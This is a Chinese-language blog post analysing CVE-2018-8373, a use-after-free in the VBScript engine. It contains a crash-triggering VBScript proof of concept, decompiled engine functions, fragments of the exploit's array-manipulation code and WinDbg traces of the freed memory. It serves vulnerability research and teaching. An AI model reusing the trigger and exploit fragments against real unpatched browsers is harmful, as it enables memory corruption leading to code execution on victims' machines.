1. 程式人生 > >CVE-2018-8373初步分析

CVE-2018-8373初步分析

導致crash的exp
Class MyClass
    Dim array()
    Private Sub Class_Initialize
           Redim array(2)
    End Sub
    Public Default Property Get P
           Redim Preserve array(1)      
    End Property
End Class
Set cls=New MyClass
cls.array(2)=cls

觸發點分析

最後這行程式碼cls.array(2)=cls會呼叫NameTbl::InvokeEx
逆向結果顯示,NameTbl::InvokeEx接著會呼叫AccessArray和AssignVar,其中stackFor_ecx為導致棧分配接著寫入的傳遞值=ecx也就是AssignVar的edx的暫存器,如圖1

struct IEntryPoint *__stdcall NameTbl::InvokeEx(NameTbl *this, int a2, unsigned int a3, int a4, struct tagDISPPARAMS *a5, struct tagVARIANT *a6, struct tagEXCEPINFO *a7, struct IServiceProvider *a8)
{
省略部分....
 else if ( ((_DWORD)v18->lpVtbl & 0xBFFF) == 8204 )
            {
              hr = (struct
IEntryPoint *)AccessArray( (VAR *)v18, &stackFor_ecx, (struct VAR **)(v30 - 1), (struct VAR *)(*v29 + 16), 0
, v42, v43); if ( (signed int)v13 >= 0 ) //stackFor_ecx也就是edx的暫存器 hr = (struct IEntryPoint *)AssignVar( (int)stackFor_ecx, v45, (struct CSession *)&pvarg, v48, v42, (unsigned int)v43); VarList::~VarList((VarList *)&v54); } .... } HRESULT __userpurge [email protected]<eax>(VAR *[email protected]<edx>, _DWORD *stack@<ecx>, struct VAR **checkVar, struct VAR *varRef, int arrRetRef, struct VAR *a6, struct tagSAFEARRAY **a7) { struct VAR *varPtrType; // eax SAFEARRAY *arrRet; // esi struct VAR **v9; // eax VAR *varNext; // ebx int dataSizeOffset; // edi struct VAR *vatType; // eax int varDimCount; // eax int DimSize; // eax int dataSize; // edi HRESULT result; // eax int v17; // ecx int v18; // ecx struct VAR *v19; // [esp+0h] [ebp-34h] const unsigned __int16 *v20; // [esp+4h] [ebp-30h] int RetVal; // [esp+18h] [ebp-1Ch] _DWORD *stackFor_ecx; // [esp+28h] [ebp-Ch] SAFEARRAYBOUND *rgsaboundRef; // [esp+2Ch] [ebp-8h] stackFor_ecx = stack; varPtrType = VAR::PvarCutAll(varFrom); // 如果是Array型別 if ( *(_WORD *)varPtrType == 8204 ) { arrRet = (SAFEARRAY *)*((_DWORD *)varPtrType + 2); } else { if ( *(_WORD *)varPtrType != 24588 ) return -2147352571; arrRet = (SAFEARRAY *)**((_DWORD **)varPtrType + 2); } if ( !arrRet ) return -2147352565; v9 = (struct VAR **)arrRet->cDims; if ( !(_WORD)v9 || v9 != checkVar ) return -2147352565; result = SafeArrayLock(arrRet); if ( result >= 0 ) { varNext = varRef; // 獲取第一個維度 rgsaboundRef = arrRet->rgsabound; dataSizeOffset = 0; while ( 1 ) { vatType = VAR::PvarCutAll(varNext); if ( *(_WORD *)vatType == 2 ) { // 短整形 varDimCount = *((signed __int16 *)vatType + 4); } else if ( *(_WORD *)vatType == 3 ) { // 長整形 varDimCount = *((_DWORD *)vatType + 2); } else { if ( rtVariantChangeTypeEx( (struct tagVARIANT *)0x400, (struct tagVARIANT *)2, 3u, (unsigned __int16)v19, (unsigned __int16)v20) < 0 ) { SafeArrayUnlock(arrRet); return CScriptRuntime::RecordHr(v18, v19, v20); } varDimCount = RetVal; } DimSize = varDimCount - rgsaboundRef->lLbound; // 如果維度大小長度大於維度的元素個數 if ( DimSize < 0 || DimSize >= (signed int)rgsaboundRef->cElements ) { SafeArrayUnlock(arrRet); return CScriptRuntime::RecordHr(v17, v19, v20); } // 當前維度元素大小 dataSize = DimSize + dataSizeOffset; checkVar = (struct VAR **)((char *)checkVar - 1); if ( (signed int)checkVar <= 0 ) break; ++rgsaboundRef; dataSizeOffset = rgsaboundRef->cElements * dataSize; varNext = (VAR *)((char *)varNext + 16); } result = SafeArrayUnlock(arrRet); if ( result >= 0 ) { // 這裡datasize正好是0x10,stack是pvData區域的最後0x10空間 *stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements; if ( arrRetRef ) *(_DWORD *)arrRetRef = arrRet; result = 0; } } return result; }

關於UAF寫入位置我的理解是array()預設的長度是1,也就是是佔用0x10位置空間, 通過NameTbl::InvokeEx->AccessArray->AssignVar,因為預設長度是1,所以AccessArray的stackFor_ecx分配0x10之後後面的空間都是???,實際上僅僅是分配了0x10後面沒有更多的空間後續分配,在SafeArrayRedim又將array的pvData長度變為array(2)的大小也就是3個元素*0x10=0x30,從地址空間的佈局可以看出這個0x30空間最後0x10空間正好是0ceaeff0也就是array()預設的長度1個元素所佔用的空間,由於RedimPreserveArray把這個空間給釋放了,導致實際上釋放後可重用的空間還是最初AccessArray申請的array()預設的長度1個元素所佔用的空間,最後cls.array(2)=cls呼叫AssignVar也是往這個地址空間寫入資料,因為申請的棧的位置還是AccessArray這裡申請的stackFor_ecx->edi,導致崩潰,所以在8373後面的程式碼

Set cls = New MyClass
    array(2)=cls

//之後導致執行
            For i = 0 To UBound(array2,2)
                    array2(0,i) = 3
                    Next

這個3值首先往申請的棧寫入

For i = 0 To UBound(array)
                    array(i) = array2
                    Next

這裡只是array的pvData賦值成array2,僅僅是引用,array2的pvData在它直接pvData指標指向的地址所以為實際寫入array的pvData

Public Default Property Get P           
        P=&h0fffffff
        End Property

MyClass的p屬性需要往棧寫入值,通過AssignVar,所以導致array()預設的0x10空間在也就是RedimPreserveArray最後的0x10空間資料為3 和0fffffff

0:017> bp vbscript!RedimPreservearray
0:017> bp vbscript!AccessArray
0:017> bp vbscript!AssignVar
0:017> vbscript!AccessArray+0x1a2   
0:007> g
Breakpoint 2 hit
eax=0bec0efc ebx=0beb6fe0 ecx=0beb4f88 edx=0bec0efc esi=685bcbd4 edi=057fbd84
eip=685b2f7a esp=057fbd78 ebp=057fbd94 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vbscript!AssignVar:
685b2f7a 8bff            mov     edi,edi
0:007> p
eax=0ceaeff0 ebx=00000002 ecx=057fb904 edx=00000002 esi=0c65afe8 edi=057fba48
eip=685c75c1 esp=057fb8b0 ebp=057fb8dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
//對於之前逆向結果的程式碼*stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;
vbscript!AccessArray+0xa2:
685c75c1 8b4510          mov     eax,dword ptr [ebp+10h] ss:0023:057fb8ec=00000000
0:007> dc ecx
//預設分配的空間地址指標
057fb904  0ceaeff0 057fb92c 00000001 0beb0fe8  ....,...........
057fb914  00000000 00000000 80020006 0beb4f88  .............O..
057fb924  0beb2fe0 0070af60 00000000 c0c0004a  ./..`.p.....J...
057fb934  c0c0c0c0 0bf3efe8 c0c0c0c0 057fb95c  ............\...
057fb944  696d58e3 0c964f98 057fb970 c0c0600c  .Xmi.O..p....`..
057fb954  c0c0c0c0 0bf46f90 0c65afe8 685d89ce  .....o....e...]h
057fb964  057fb9a4 685d9801 082d7fd0 00000003  ......]h..-.....
057fb974  00000409 00000004 057fb9f8 00000000  ................
//實際上僅僅是分配了0x10沒有多餘分配
0:007> dc  0ceaeff0
0ceaeff0  00000000 00000000 00000000 00000000  ................
0ceaf000  ???????? ???????? ???????? ????????  ????????????????
0ceaf010  ???????? ???????? ???????? ????????  ????????????????
0ceaf020  ???????? ???????? ???????? ????????  ????????????????
0ceaf030  ???????? ???????? ???????? ????????  ????????????????
0ceaf040  ???????? ???????? ???????? ????????  ????????????????
0ceaf050  ???????? ???????? ???????? ????????  ????????????????
0ceaf060  ???????? ???????? ???????? ????????  ????????????????
0:007> g
Breakpoint 0 hit
eax=0c65afe8 ebx=057fb4f8 ecx=0c65afe8 edx=00000001 esi=0bf46f84 edi=0bf16bf0
eip=685dd80c esp=057fb250 ebp=057fb48c iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
vbscript!RedimPreserveArray:
685dd80c 8bff            mov     edi,edi
0:007> dc 0c65afe8
//檢視陣列的長度是3
0c65afe8  08800001 00000010 00000000 0ceaefd0  ................
0c65aff8  00000003 00000000 ???????? ????????  ........????????
0c65b008  ???????? ???????? ???????? ????????  ????????????????
0c65b018  ???????? ???????? ???????? ????????  ????????????????
0c65b028  ???????? ???????? ???????? ????????  ????????????????
0c65b038  ???????? ???????? ???????? ????????  ????????????????
0c65b048  ???????? ???????? ???????? ????????  ????????????????
0c65b058  ???????? ???????? ???????? ????????  ????????????????
//pvData的空間被RedimPreserveArray撐大到0x30
0:007> dc  0ceaefd0
0ceaefd0  00000000 00000000 00000000 00000000  ................
0ceaefe0  00000000 00000000 00000000 00000000  ................
0ceaeff0  00000000 00000000 00000000 00000000  ................
0ceaf000  ???????? ???????? ???????? ????????  ????????????????
0ceaf010  ???????? ???????? ???????? ????????  ????????????????
0ceaf020  ???????? ???????? ???????? ????????  ????????????????
0ceaf030  ???????? ???????? ???????? ????????  ????????????????
0ceaf040  ???????? ???????? ???????? ????????  ????????????????
0:007> g
(f28.eb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0ceaeff0 ecx=0ceaeff0 edx=0008001f esi=0ceaeff0 edi=057fb8d0
eip=685b217e esp=057fb898 ebp=057fb8a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
vbscript!VAR::Clear+0xe:
//導致實際上釋放後可重用的空間還是最初AccessArray申請的array()預設的長度1個元素所佔用的空間=0ceaeff0
685b217e 0fb703          movzx   eax,word ptr [ebx]       ds:0023:0ceaeff0=????